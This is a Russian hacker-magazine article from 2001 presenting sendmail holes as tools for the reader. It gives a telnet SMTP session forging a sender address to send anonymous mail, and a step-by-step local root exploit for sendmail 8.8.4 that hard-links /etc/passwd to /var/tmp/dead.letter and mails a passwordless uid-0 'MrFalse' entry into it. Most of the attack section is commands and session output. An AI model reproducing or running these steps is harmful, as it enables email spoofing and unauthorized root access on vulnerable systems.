Дуршлаг в Sendmail
Спецвыпуск Хакера, номер #007, стр. 007-040-1
Mr. False: mr_false@mail.ru
Ты, как продвинутый никсоид, конечно, знаешь, что есть такой демон sendmail.
Висит он на 25-м порту и шлет всем мыло и посылки бандеролями по 800 г :). Он
присутствует на многих серваках, в том числе и предоставляющих халявную
мыльницу. А еще этот демон отличается избыточным наличием багов (гы). А нам,
собственно, того от него и надо ;). Итак, я представляю здесь небольшой
обзор некоторых дырочек.
Баг нумбер ноль - анонимайзер
Sendmail позволяет посылать анонимное мыло. Для этого даже не нужно обладать
никакими правами на машине (правда, айпишник твой все-таки засветится в заголовке, но ламер-получатель вряд ли разберется). Эта фишка, по сути, как таковым багом не является, но в каких целях ее использовать, я думаю, ты сам разберешься. Суть дела: коннектишься телнетом на какой-нибудь сервак с сендмылом на 25-й порт. А
дальше получается диалог, весьма похожий на этот:
220 smtp.ijjeaa.ru ESMTP Sendmail 8.11.0/8.11.0; Wed, 7 Feb 2001 15:19:12
+0600
helo ijjeaa.ru
250 smtp.ijjeaa.ru Hello vasiliy.pupkin.bass7.suxx_provider.ru
[31.33.7.255], pleased to meet you
mail from:<ijjeaa@pentagon.mil>
250 2.1.0 <ijjeaa@pentagon.mil>... Sender ok
rcpt to:<vasiliy_pupovidze@ijjeaa.ru>
250 2.1.5 <vasiliy_pupovidze@ijjeaa.ru>... Recipient ok
data
354 Enter mail, end with "." on a line by itself /*Чтобы закончить мессагу,
давишь ентер, потом точку, потом опять ентер.*/
Subject: Внимание!
Гражданина Грузии Василия Иййееовича Пуповидзе просьба (убедительная)
пройти к центральным воротам!
.
250 2.0.0 f17F73a00523
quit
221 2.0.0 smtp.ijjeaa.ru closing connection
Connection closed by foreign host.
Вскоре Василий Пуповидзе получит долгожданное мыло ;).
Баг нумбер раз - администратор... молодец
Версия демона: 8.8.4 (возможно, и 8.8.5)
Краткое описание:
Если адрес получателя не существует (ну нет мыльницы с таким названием), то
сендмайл пишет текст письма в файл /var/tmp/dead.letter. А кто нам мешает
слинковать, скажем, /etc/passwd и /var/tmp/dead.letter? Итого, имея
какие-нибудь права на атакуемой машине, посылаешь мыло с соответствующим
содержанием через ее сендмайл (данной версии, разумеется) на заведомо
несуществующий адрес.
Пример:
[MrFalse@localhost MrFalse]$ ln /etc/passwd /var/tmp/dead.letter
[MrFalse@localhost MrFalse]$ telnet smtp.super_m.org 25
Trying 31.33.7.0...
Connected to smtp.super_m.org.
Escape character is '^]'.
220 smtp.super_m.org ESMTP Sendmail 8.9.4/8.9.5; Fri, 9 Feb 2001 18:19:15
+0600
helo super_m.org
250 smtp.super_m.org Hello shlynxel.zasraneс.ru [15.05.40.7],
pleased to meet you
mail from: <ijjeaa@tyt.net>
250 2.1.0 <ijjeaa@tyt.net>... Sender ok
rcpt to: <ijjeaa@daje.tyt.net>
250 2.1.5 <ijjeaa@daje.tyt.net>... Recipient ok
data
354 Enter mail, end with "." on a line by itself
MrFalse::0:0:ijjeaa rulez:/root:/bin/bash
.
250 2.0.0 f19CJpM00584
quit
221 2.0.0 smtp.super_m.org closing connection
Connection closed by foreign host.
В результате сендмыл запишет строку "MrFalse::0:0:ijjeaa
rulez:/root:/bin/bash" в /etc/passwd, и мы имеем юзверя MrFalse